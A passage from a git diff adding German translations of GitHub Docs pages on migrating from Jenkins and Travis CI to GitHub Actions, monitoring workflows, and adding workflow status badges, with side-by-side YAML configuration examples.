+| [`stage`](https://jenkins.io/doc/book/pipeline/syntax/#stage)                              | [`jobs.<job_id>`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_id) <br> [`jobs.<job_id>.name`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idname) |
+| [`tools`](https://jenkins.io/doc/book/pipeline/syntax/#tools)                              | {% ifversion ghae %} Die Befehlszeilentools, die in `PATH` für deine Systeme mit selbstgehosteten Runnern verfügbar sind. {% data reusables.actions.self-hosted-runners-software %}{% else %}[Spezifikationen für in {% data variables.product.prodname_dotcom %} gehostete Runner](/actions/reference/specifications-for-github-hosted-runners/#supported-software) |{% endif %}
+| [`input`](https://jenkins.io/doc/book/pipeline/syntax/#input)                              | [`inputs`](/actions/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputs) |
+| [`when`](https://jenkins.io/doc/book/pipeline/syntax/#when)                                | [`jobs.<job_id>.if`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idif) |
+
+## Sequenzielle „Stages“ (Phasen) verwenden
+
+### Parallele Verarbeitungvon Jobs
+
+Jenkins kann Phasen (`stages`) und Schritte (`steps`) parallel ausführen. Im Gegensatz dazu führt {% data variables.product.prodname_actions %} derzeit nur Aufträge parallel aus.
+
+| Jenkins Parallel | {% data variables.product.prodname_actions %} |
+| ------------- | ------------- |
+| [`parallel`](https://jenkins.io/doc/book/pipeline/syntax/#parallel) | [`jobs.<job_id>.strategy.max-parallel`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymax-parallel) |
+
+### Matrix
+
+Sowohl {% data variables.product.prodname_actions %} als auch Jenkins ermöglicht die Verwendung einer Matrix, um verschiedene Systemkombinationen zu definieren.
+
+| Jenkins       | {% data variables.product.prodname_actions %} |
+| ------------- | ------------- |
+| [`axis`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-axes)       | [`strategy/matrix`](/actions/learn-github-actions/managing-complex-workflows/#using-a-build-matrix) <br> [`context`](/actions/reference/context-and-expression-syntax-for-github-actions) |
+| [`stages`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-stages)   | [`steps-context`](/actions/reference/context-and-expression-syntax-for-github-actions#steps-context) |
+| [`excludes`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-stages) |  |
+
+### Schritte verwenden, um „Tasks“ (Aufgaben) auszuführen
+
+Jenkins gruppiert Schritte (`steps`) in Phasen (`stages`). Jeder dieser Schritte kann unter anderem ein Skript, eine Funktion oder ein Befehl sein. In ähnlicher Weise verwendet {% data variables.product.prodname_actions %} Aufträge (`jobs`), um bestimmte Gruppen von Schritten (`steps`) auszuführen.
+
+| Jenkins-Schritte | {% data variables.product.prodname_actions %} |
+| ------------- | ------------- |
+| [`script`](https://jenkins.io/doc/book/pipeline/syntax/#script) | [`jobs.<job_id>.steps`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idsteps) |
+
+## Beispiele für häufige Aufgaben
+
+### Auszuführende Pipeline mit `cron` planen
+
+<table>
+<tr>
+<th>
+Jenkins-Pipeline
+</th>
+<th>
+{% data variables.product.prodname_actions %}-Workflow
+</th>
+</tr>
+<tr>
+<td>
+
+```yaml
+pipeline {
+  agent any
+  triggers {
+    cron('H/15 * * * 1-5')
+  }
+}
+```
+
+</td>
+<td>
+
+```yaml
+on:
+  schedule:
+    - cron: '*/15 * * * 1-5'
+```
+
+</td>
+</tr>
+</table>
+
+### Umgebungsvariablen in einer Pipeline konfigurieren
+
+<table>
+<tr>
+<th>
+Jenkins-Pipeline
+</th>
+<th>
+{% data variables.product.prodname_actions %}-Workflow
+</th>
+</tr>
+<tr>
+<td>
+
+```yaml
+pipeline {
+  agent any
+  environment {
+    MAVEN_PATH = '/usr/local/maven'
+  }
+}
+```
+
+</td>
+<td>
+
+```yaml
+jobs:
+  maven-build:
+    env:
+      MAVEN_PATH: '/usr/local/maven'
+```
+
+</td>
+</tr>
+</table>
+
+### Aus „Upstream“ (vorgelagerten) Projekten bauen
+
+<table>
+<tr>
+<th>
+Jenkins-Pipeline
+</th>
+<th>
+{% data variables.product.prodname_actions %}-Workflow
+</th>
+</tr>
+<tr>
+<td>
+
+```yaml
+pipeline {
+  triggers {
+    upstream(
+      upstreamProjects: 'job1,job2',
+      threshold: hudson.model.Result.SUCCESS
+    )
+  }
+}
+```
+
+</td>
+<td>
+
+```yaml
+jobs:
+  job1:
+  job2:
+    needs: job1
+  job3:
+    needs: [job1, job2]
+```
+
+</td>
+</tr>
+</table>
+
+### Mit mehreren Betriebssystemen bauen
+
+<table>
+<tr>
+<th>
+Jenkins-Pipeline
+</th>
+<th>
+{% data variables.product.prodname_actions %}-Workflow
+</th>
+</tr>
+<tr>
+<td>
+
+```yaml
+pipeline {
+  agent none
+  stages {
+    stage('Run Tests') {
+      matrix {
+        axes {
+          axis {
+            name: 'PLATFORM'
+            values: 'macos', 'linux'
+          }
+        }
+        agent { label "${PLATFORM}" }
+        stages {
+          stage('test') {
+            tools { nodejs "node-12" }
+            steps {
+              dir("scripts/myapp") {
+                sh(script: "npm install -g bats")
+                sh(script: "bats tests")
+              }
+            }
+          }
+        }
+      }
+    }
+  }
+}
+```
+
+</td>
+<td>
+
+```yaml
+name: demo-workflow
+on:
+  push:
+jobs:
+  test:
+    runs-on: {% raw %}${{ matrix.os }}{% endraw %}
+    strategy:
+      fail-fast: false
+      matrix:
+        os: [macos-latest, ubuntu-latest]
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: 12
+      - run: npm install -g bats
+      - run: bats tests
+        working-directory: scripts/myapp
+```
+
+</td>
+</tr>
+</table>
diff --git a/translations/de-DE/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md b/translations/de-DE/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md
new file mode 100644
index 0000000000..9d6fe99d93
--- /dev/null
+++ b/translations/de-DE/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md
@@ -0,0 +1,443 @@
+---
+title: Migrieren von Travis CI zu GitHub Actions
+intro: "{% data variables.product.prodname_actions %} und Travis\_CI haben mehrere Ähnlichkeiten, was die Migration zu {% data variables.product.prodname_actions %} relativ einfach macht."
+redirect_from:
+  - /actions/learn-github-actions/migrating-from-travis-ci-to-github-actions
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Travis CI
+  - Migration
+  - CI
+  - CD
+shortTitle: Migrate from Travis CI
+ms.openlocfilehash: 00da8dc259ef4de197faffd8db654dd536c1c237
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146178991'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einführung
+
+Diese Anleitung unterstützt dich bei der Migration von Travis CI zu {% data variables.product.prodname_actions %}. Sie vergleicht die jeweiligen Konzepte und die jeweilige Syntax, beschreibt die Ähnlichkeiten und veranschaulicht die unterschiedlichen Ansätze für gängige Aufgaben.
+
+## Vorbereitung
+
+Vor Beginn der Migration zu {% data variables.product.prodname_actions %} ist es hilfreich, sich mit deren Funktionsweise vertraut zu machen:
+
+- Ein kurzes Beispiel, das einen {% data variables.product.prodname_actions %}-Auftrag veranschaulicht, findest du im [Schnellstart für {% data variables.product.prodname_actions %}](/actions/quickstart).
+- Informationen zu den wesentlichen {% data variables.product.prodname_actions %}-Konzepten findest du in der [Einführung in GitHub Actions](/actions/learn-github-actions/introduction-to-github-actions).
+
+## Vergleichen der Auftragsausführung
+
+Damit du steuern kannst, wann CI-Aufgaben ausgeführt werden, verwendet ein {% data variables.product.prodname_actions %}-_Workflow_ _Aufträge_, die standardmäßig parallel ausgeführt werden. Jeder Auftrag enthält _Schritte_, die in einer festgelegten Abfolge ausgeführt werden. Wenn du Setup- und Bereinigungsaktionen für einen Auftrag ausführen musst, kannst du dafür Schritte im jeweiligen Auftrag definieren.
+
+## Wichtige Ähnlichkeiten
+
+{% data variables.product.prodname_actions %} und Travis CI weisen bestimmte gemeinsame Ähnlichkeiten auf, deren Verständnis im Voraus helfen kann, den Migrationsprozess reibungslos zu gestalten.
+
+### Verwenden der YAML-Syntax
+
+Travis CI und {% data variables.product.prodname_actions %} verwenden YAML zum Erstellen von Aufträgen und Workflows. Diese Dateien werden im Code-Repository gespeichert. Weitere Informationen zur Verwendung von YAML in {% data variables.product.prodname_actions %} findest du unter [Erstellen einer Workflow-Datei](/actions/learn-github-actions/introduction-to-github-actions#create-an-example-workflow).
+
+### Benutzerdefinierte Umgebungsvariablen
+
+Mit Travis CI kannst du Umgebungsvariablen festlegen und phasenübergreifend verwenden. Ebenso bietet {% data variables.product.prodname_actions %} die Möglichkeit, Umgebungsvariablen für einen Schritt, einen Auftrag oder einen Workflow zu definieren. Weitere Informationen findest du unter [Umgebungsvariablen](/actions/reference/environment-variables).
+
+### Standardumgebungsvariablen
+
+Travis CI und {% data variables.product.prodname_actions %} enthalten Standardumgebungsvariablen, die du in YAML-Dateien verwenden kannst. Für {% data variables.product.prodname_actions %} sind diese in [Standardumgebungsvariablen](/actions/reference/environment-variables#default-environment-variables) aufgelistet.
+
+### Parallele Verarbeitungvon Jobs
+
+Travis CI kann `stages` verwenden, um Aufträge parallel auszuführen. Genauso führt {% data variables.product.prodname_actions %} `jobs` parallel aus. Weitere Informationen findest du unter [Erstellen abhängiger Aufträge](/actions/learn-github-actions/managing-complex-workflows#creating-dependent-jobs).
+
+### Statusbadges
+
+Travis CI und {% data variables.product.prodname_actions %} unterstützen Statusbadges, mit denen du angeben kannst, ob ein Build erfolgreich durchgeführt wurde oder fehlgeschlagen ist.
+Weitere Informationen findest du unter [Hinzufügen eines Workflowstatusbadge zum Repository](/actions/managing-workflow-runs/adding-a-workflow-status-badge).
+
+### Verwenden einer Matrix
+
+Travis CI und {% data variables.product.prodname_actions %} unterstützen eine Matrix, damit du Tests mit mehreren Kombinationen von Betriebssystemen und Softwarepaketen durchführen kannst. Weitere Informationen findest du unter [Verwenden einer Matrix für deine Aufträge](/actions/using-jobs/using-a-matrix-for-your-jobs).
+
+Nachfolgend findest du einen exemplarischen Vergleich für die Syntax in jedem System:
+
+<table>
+<tr>
+<th>
+Travis CI
+</th>
+<th>
+{% data variables.product.prodname_actions %}
+</th>
+</tr>
+<tr>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+matrix:
+  include:
+    - rvm: 2.5
+    - rvm: 2.6.3
+```
+{% endraw %}
+</td>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+jobs:
+  build:
+    strategy:
+      matrix:
+        ruby: [2.5, 2.6.3]
+```
+{% endraw %}
+</td>
+</tr>
+</table>
+
+### Festlegen von bestimmten Branchen als Ziel
+
+Travis CI um {% data variables.product.prodname_actions %} bieten die Möglichkeit, einen bestimmten Branch als Ziel für CI festzulegen. Weitere Informationen findest du unter [Workflowsyntax für GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#onpushbranchestagsbranches-ignoretags-ignore).
+
+Nachfolgend ein Beispiel für die Syntax in jedem System:
+
+<table>
+<tr>
+<th>
+Travis CI
+</th>
+<th>
+{% data variables.product.prodname_actions %}
+</th>
+</tr>
+<tr>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+branches:
+  only:
+    - main
+    - 'mona/octocat'
+```
+{% endraw %}
+</td>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+on:
+  push:
+    branches:
+      - main
+      - 'mona/octocat'
+```
+{% endraw %}
+</td>
+</tr>
+</table>
+
+### Auschecken von Untermodulen
+
+Travis CI und {% data variables.product.prodname_actions %} bieten die Möglichkeit, zu steuern, ob Untermodule im Repositoryklon enthalten sind.
+
+Nachfolgend ein Beispiel für die Syntax in jedem System:
+
+<table>
+<tr>
+<th>
+Travis CI
+</th>
+<th>
+{% data variables.product.prodname_actions %}
+</th>
+</tr>
+<tr>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+git:
+  submodules: false
+```
+{% endraw %}
+</td>
+<td class="d-table-cell v-align-top">
+
+```yaml
+- uses: {% data reusables.actions.action-checkout %}
+  with:
+    submodules: false
+```
+
+</td>
+</tr>
+</table>
+
+### Verwenden von Umgebungsvariablen in einer Matrix
+
+Travis CI und {% data variables.product.prodname_actions %} können benutzerdefinierte Umgebungsvariablen zu einer Testmatrix hinzufügen, sodass du in einem späteren Schritt auf die Variable verweisen kannst.
+
+In {% data variables.product.prodname_actions %} kannst du den `include`-Schlüssel verwenden, um einer Matrix benutzerdefinierte Umgebungsvariablen hinzuzufügen. {% data reusables.actions.matrix-variable-example %}
+
+## Wichtige Features in {% data variables.product.prodname_actions %}
+
+Berücksichtige beim Migrieren von Travis CI die folgenden wichtigen Features in {% data variables.product.prodname_actions %}:
+
+### Speichern von Geheimnissen
+
+{% data variables.product.prodname_actions %} bietet die Möglichkeit, Geheimnisse zu speichern und in Aufträgen darauf zu verweisen. {% data variables.product.prodname_actions %}-Organisationen können einschränken, welche Repositories auf Organisationsgeheimnisse zugreifen dürfen. Umgebungsschutzregeln können eine manuelle Genehmigung für einen Workflow vorschreiben, um auf Umgebungsgeheimnisse zugreifen zu können. Weitere Informationen findest du unter [Verschlüsselte Geheimnisse](/actions/reference/encrypted-secrets).
+
+### Gemeinsame Verwendung von Dateien in Aufträgen und Workflows
+
+{% data variables.product.prodname_actions %} umfasst eine integrierte Unterstützung für die Speicherung von Artefakten, sodass du Dateien in den Aufträgen eines Workflows gemeinsam verwenden kannst. Du kannst die resultierenden Dateien auch speichern und für andere Workflows verwenden. Weitere Informationen findest du unter [Freigeben von Daten zwischen Aufträgen](/actions/learn-github-actions/essential-features-of-github-actions#sharing-data-between-jobs).
+
+### Deinen eigenen Runner hosten
+
+Wenn für Aufträge bestimmte Hardware oder Software erforderlich ist, bietet {% data variables.product.prodname_actions %} die Möglichkeit, einen eigenen Runner zu hosten, an den die Aufträge zur Verarbeitung gesendet werden. {% data variables.product.prodname_actions %} bietet auch die Möglichkeit, über Richtlinien zu steuern, wie der Zugriff auf diese Runner erfolgt und wie Zugriff auf Organisations- oder Repositoryebene gewährt wird. Weitere Informationen findest du unter [Hosten eigener Runner](/actions/hosting-your-own-runners).
+
+{% ifversion fpt or ghec %}
+
+### Gleichzeitige Aufträge und Ausführungszeit
+
+Die gleichzeitigen Aufträge und Workflowausführungszeiten in {% data variables.product.prodname_actions %} können je nach {% data variables.product.company_short %}-Plan variieren. Weitere Informationen findest du unter [Nutzungseinschränkung, Abrechnung und Verwaltung](/actions/reference/usage-limits-billing-and-administration).
+
+{% endif %}
+
+### Verwenden verschiedener Sprachen in {% data variables.product.prodname_actions %}
+
+Bei Verwendung verschiedener Sprachen in {% data variables.product.prodname_actions %} kannst du einen Schritt im Auftrag erstellen, um Sprachabhängigkeiten einzurichten. Weitere Informationen zur Verwendung einer bestimmten Sprache findest du in der betreffenden Anleitung:
+  - [Erstellen und Testen eines Node.js-Projekts](/actions/guides/building-and-testing-nodejs)
+  - [Erstellen und Testen eines Python-Projekts](/actions/guides/building-and-testing-python)
+  - [Erstellen und Testen eines PowerShell-Projekts](/actions/guides/building-and-testing-powershell)
+  - [Erstellen und Testen von Java mit Maven](/actions/guides/building-and-testing-java-with-maven)
+  - [Erstellen und Testen von Java mit Gradle](/actions/guides/building-and-testing-java-with-gradle)
+  - [Erstellen und Testen von Java mit Ant](/actions/guides/building-and-testing-java-with-ant)
+
+## Ausführung von Skripts
+
+{% data variables.product.prodname_actions %} kann `run`-Schritte zum Ausführen von Skripts oder Shellbefehlen verwenden. Um eine bestimmte Shell zu verwenden, kannst du den `shell`-Typ angeben, wenn der Pfad zum Skript angegeben wird. Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun).
+
+Zum Beispiel:
+
+```yaml
+steps:
+  - name: Run build script
+    run: ./.github/scripts/build.sh
+    shell: bash
+```
+
+## Fehlerbehandlung in {% data variables.product.prodname_actions %}
+
+Bei der Migration zu {% data variables.product.prodname_actions %} gibt es verschiedene Ansätze für die Fehlerbehandlung, die du kennen solltest.
+
+### Fehlerbehandlung für Skripts
+
+{% data variables.product.prodname_actions %} beendet einen Auftrag sofort, wenn einer der Schritte einen Fehlercode zurückgibt. Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#exit-codes-and-error-action-preference).
+
+### Fehlerbehandlung für Aufträge
+
+{% data variables.product.prodname_actions %} verwendet `if`-Bedingungen für die situationsabhängige Ausführung von Aufträgen oder Schritten. Du kannst beispielsweise einen Schritt ausführen, wenn ein anderer Schritt zu einem Fehler (`failure()`) führt. Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#example-using-status-check-functions).  Du kannst auch [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontinue-on-error) verwenden, um zu verhindern, dass eine Workflowausführung beendet wird, wenn ein Auftrag fehlschlägt.
+
+## Migrieren der Syntax für Bedingungen und Ausdrücke
+
+Um Aufträge mit Bedingungsausdrücken auszuführen, verwenden Travis CI und {% data variables.product.prodname_actions %} eine ähnliche `if`-Bedingungssyntax. {% data variables.product.prodname_actions %} bietet die Möglichkeit, die `if`-Bedingung zu verwenden, damit ein Auftrag oder ein Schritt nur ausgeführt wird, wenn eine bestimmte Bedingung erfüllt ist. Weitere Informationen findest du unter [Ausdrücke](/actions/learn-github-actions/expressions).
+
+In diesem Beispiel wird veranschaulicht, wie eine `if`-Bedingung steuern kann, ob ein Schritt ausgeführt wird:
+
+```yaml
+jobs:
+  conditional:
+    runs-on: ubuntu-latest
+    steps:
+      - run: echo "This step runs with str equals 'ABC' and num equals 123"
+        if: env.str == 'ABC' && env.num == 123
+```
+
+## Migrieren von Phasen in Schritte
+
+Wenn Travis CI _Phasen_ zum Ausführen von _Schritten_ verwendet, umfasst {% data variables.product.prodname_actions %} _Schritte_, die _Aktionen_ ausführen. Du findest vordefinierte Aktionen im [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions), oder du kannst eigene Aktionen erstellen. Weitere Informationen findest du unter [Erstellen von Aktionen](/actions/building-actions).
+
+Nachfolgend ein Beispiel für die Syntax in jedem System:
+
+<table>
+<tr>
+<th>
+Travis CI
+</th>
+<th>
+{% data variables.product.prodname_actions %}
+</th>
+</tr>
+<tr>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+language: python
+python:
+  - "3.7"
+
+Skript:
+  - python script.py
+```
+{% endraw %}
+</td>
+<td class="d-table-cell v-align-top">
+
+```yaml
+jobs:
+  run_python:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: {% data reusables.actions.action-setup-python %}
+        with:
+          python-version: '3.7'
+          architecture: 'x64'
+      - run: python script.py
+```
+
+</td>
+</tr>
+</table>
+
+## Abhängigkeiten „cachen“ (zwischenspeichern)
+
+Travis CI und {% data variables.product.prodname_actions %} bieten die Möglichkeit, Abhängigkeiten manuell zwischenzuspeichern, um sie später wiederzuverwenden.
+
+{% ifversion actions-caching %}
+
+In diesem Beispiel wird die Cachesyntax für die einzelnen Systeme veranschaulicht.
+
+<table>
+<tr>
+<th>
+Travis CI
+</th>
+<th>
+GitHub-Aktionen
+</th>
+</tr>
+<tr>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+language: node_js
+cache: npm
+```
+{% endraw %}
+</td>
+<td class="d-table-cell v-align-top">
+
+```yaml
+- name: Cache node modules
+  uses: {% data reusables.actions.action-cache %}
+  with:
+    path: ~/.npm
+    key: {% raw %}v1-npm-deps-${{ hashFiles('**/package-lock.json') }}{% endraw %}
+    restore-keys: v1-npm-deps-
+```
+
+</td>
+</tr>
+</table>
+
+{% else %}
+
+{% data reusables.actions.caching-availability %}
+
+{% endif %}
+
+## Beispiele für häufige Aufgaben
+
+In diesem Abschnitt wird verglichen, wie {% data variables.product.prodname_actions %} und Travis CI häufige Aufgaben ausführen.
+
+### Konfigurieren von Umgebungsvariablen
+
+Du kannst benutzerdefinierte Umgebungsvariablen in einem {% data variables.product.prodname_actions %}-Auftrag erstellen. Zum Beispiel:
+
+<table>
+<tr>
+<th>
+Travis CI
+</th>
+<th>
+{% data variables.product.prodname_actions %}-Workflow
+</th>
+</tr>
+<tr>
+<td>
+
+```yaml
+env:
+  - MAVEN_PATH="/usr/local/maven"
+```
+
+</td>
+<td>
+
+```yaml
+jobs:
+  maven-build:
+    env:
+      MAVEN_PATH: '/usr/local/maven'
+```
+
+</td>
+</tr>
+</table>
+
+### Erstellen mit Node.js
+
+<table>
+<tr>
+<th>
+Travis CI
+</th>
+<th>
+{% data variables.product.prodname_actions %}-Workflow
+</th>
+</tr>
+<tr>
+<td>
+{% raw %}
+```yaml
+install:
+  - npm install
+script:
+  - npm run build
+  - npm test
+```
+{% endraw %}
+</td>
+<td>
+
+```yaml
+name: Node.js CI
+on: [push]
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Use Node.js
+        uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: '12.x'
+      - run: npm install
+      - run: npm run build
+      - run: npm test
+```
+
+</td>
+</tr>
+</table>
+
+## Nächste Schritte
+
+Weitere Informationen zu den Hauptfeatures von {% data variables.product.prodname_actions %} findest du unter [Kennenlernen von {% data variables.product.prodname_actions %}](/actions/learn-github-actions).
diff --git a/translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md b/translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md
new file mode 100644
index 0000000000..e1d9b85f35
--- /dev/null
+++ b/translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md
@@ -0,0 +1,79 @@
+---
+title: Informationen zu Überwachung und Problembehandlung
+intro: 'Du kannst Tools in {% data variables.product.prodname_actions %} zum Überwachen und Debuggen deiner Workflows verwenden.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: About monitoring and troubleshooting
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: d9158cd9bba6d003a583e78459240aa6790a1154
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147062042'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Überwachen deiner Workflows 
+
+{% ifversion github-runner-dashboard %}
+### Überwachen deiner aktuellen Aufträge in deiner Organisation oder deinem Unternehmen
+
+{% data reusables.actions.github-hosted-runners-check-concurrency %}
+
+{% endif %}
+
+### Verwenden des Visualisierungsdiagramms
+
+Jede Workflowausführung generiert ein Echtzeitdiagramm, das den Ausführungsfortschritt veranschaulicht. Du kannst dieses Diagramm verwenden, um Workflows zu überwachen und zu debuggen. Beispiel:
+
+   ![Workflowdiagramm](/assets/images/help/images/workflow-graph.png)
+
+Weitere Informationen findest du unter [Verwenden des Visualisierungsdiagramms](/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph). 
+
+### Hinzufügen eines Badges für den Workflowstatus
+
+{% data reusables.repositories.actions-workflow-status-badge-intro %}
+
+Weitere Informationen findest du unter [Hinzufügen eines Workflowstatusbadges](/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge).
+
+{% ifversion fpt or ghec %}
+### Anzeigen der Ausführungszeit für einen Auftrag
+
+Um zu ermitteln, wie lange ein Auftrag ausgeführt wurde, kannst du seine Ausführungszeit anzeigen. Beispiel:
+
+   ![Link mit Details zu Ausführung und abrechenbarer Zeit](/assets/images/help/repository/view-run-billable-time.png)
+
+Weitere Informationen findest du unter [Anzeigen der Auftragsausführungszeit](/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time).
+{% endif %}
+
+### Anzeigen des Ausführungsverlaufs eines Workflows
+
+Du kannst den Status der einzelnen Aufgaben und Schritte in einem Workflow anzeigen. Beispiel:
+
+   ![Name der Workflow-Ausführung](/assets/images/help/repository/run-name.png)
+
+Weitere Informationen findest du unter [Aufrufen des Workflowausführungsverlaufs](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history).
+
+## Problembehandlung für deine Workflows
+
+### Verwenden von Workflowausführungsprotokollen
+
+Jede Workflowausführung generiert Aktivitätsprotokolle, die du anzeigen, durchsuchen und herunterladen kannst. Beispiel:
+
+   ![Ergebnisse des Super-Linter-Workflows](/assets/images/help/repository/super-linter-workflow-results-updated-2.png)
+
+Weitere Informationen findest du unter [Verwenden von Workflowausführungsprotokollen](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs).
+
+### Aktivieren der Debugprotokollierung
+
+Wenn die Workflow-Logs nicht genügend Details zur Diagnose enthalten, warum ein Workflow, ein Job oder ein Schritt nicht wie erwartet abläuft, kannst du die zusätzliche Debug-Protokollierung aktivieren. Weitere Informationen findest du unter [Aktivieren der Debugprotokollierung](/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging).
+
+## Überwachen und Behandeln von Problemen mit selbstgehosteten Runnern
+
+Wenn du selbstgehostete Runner verwendest, kannst du ihre Aktivitäten einsehen und häufige Probleme diagnostizieren. 
+
+Weitere Informationen findest du unter [Überwachen von und Behandeln von Problemen mit selbstgehosteten Runnern](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners).
diff --git a/translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md b/translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md
new file mode 100644
index 0000000000..8ab476e4f0
--- /dev/null
+++ b/translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md
@@ -0,0 +1,66 @@
+---
+title: Hinzufügen eines Badges für den Workflowstatus
+intro: Du kannst ein Statusbadge zum Status deines Workflows in deinem Repository anzeigen.
+redirect_from:
+  - /actions/managing-workflow-runs/adding-a-workflow-status-badge
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Add a status badge
+ms.openlocfilehash: d2b0703e9ca4dcdc0a02cb81144e321a38cffde0
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147880629'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+{% note %}
+
+**Hinweis**: Workflowbadges in einem privaten Repository sind nicht extern zugänglich, sodass du sie nicht einbetten oder von einer externen Website aus verlinken kannst.
+
+{% endnote %}
+
+{% data reusables.repositories.actions-workflow-status-badge-intro %}
+
+
+Wenn du deiner `README.md`-Datei einen Workflowstatusbadge hinzufügen möchtest, suche zuerst die URL für den Statusbadge, den du anzeigen möchtest. Anschließend kannst du Markdown verwenden, um den Badge als Bild in deiner `README.md`-Datei anzuzeigen. Weitere Informationen zu Bildmarkup in Markdown findest du unter [Grundlegende Schreib- und Formatierungssyntax](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#images).
+
+## Verwenden des Workflowdateinamens
+
+Du kannst die URL für einen Workflowstatusbadge mithilfe des Namens der Workflowdatei erstellen:
+
+```
+{% ifversion fpt or ghec %}https://github.com{% else %}<HOSTNAME>{% endif %}/<OWNER>/<REPOSITORY>/actions/workflows/<WORKFLOW_FILE>/badge.svg
+```
+
+Um den Workflowstatusbadge in deiner `README.md`-Datei anzuzeigen, verwende das Markdownmarkup zum Einbetten von Bildern. Weitere Informationen zu Bildmarkup in Markdown findest du unter [Grundlegende Schreib- und Formatierungssyntax](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#images).
+
+Füge beispielsweise deiner `README.md`-Datei das folgende Markdownelement hinzu, um einen Statusbadge für einen Workflow mit dem Dateipfad `.github/workflows/main.yml` hinzuzufügen. Der `OWNER` des Repositorys ist die `github`-Organisation und der `REPOSITORY`-Name ist `docs`.
+
+```markdown
+![example workflow](https://github.com/github/docs/actions/workflows/main.yml/badge.svg)
+```
+
+## Verwenden des `branch`-Parameters
+
+Zum Anzeigen des Status eines Workflows, der für einen bestimmten Branch ausgeführt wird, füge dem Ende der Statusbadge-URL `?branch=<BRANCH_NAME>` hinzu.
+
+Füge beispielsweise deiner `README.md`-Datei das folgende Markdownelement hinzu, um einen Statusbadge für einen Branch mit dem Namen `feature-1` anzuzeigen.
+
+```markdown
+![example branch parameter](https://github.com/github/docs/actions/workflows/main.yml/badge.svg?branch=feature-1)
+```
+
+## Verwenden des `event`-Parameters
+
+Zum Anzeigen des Status von Workflowausführungen, die vom `push`-Ereignis ausgelöst werden, füge dem Ende der Statusbadge-URL `?event=push` hinzu.
+
+Füge beispielsweise deiner `README.md`-Datei das folgende Markdownelement hinzu, um einen Badge mit dem Status von Workflowausführungen anzuzeigen, die vom `push`-Ereignis ausgelöst werden, wodurch der Status des Builds für den aktuellen Zustand des betreffenden Branchs angezeigt wird.
+
+```markdown
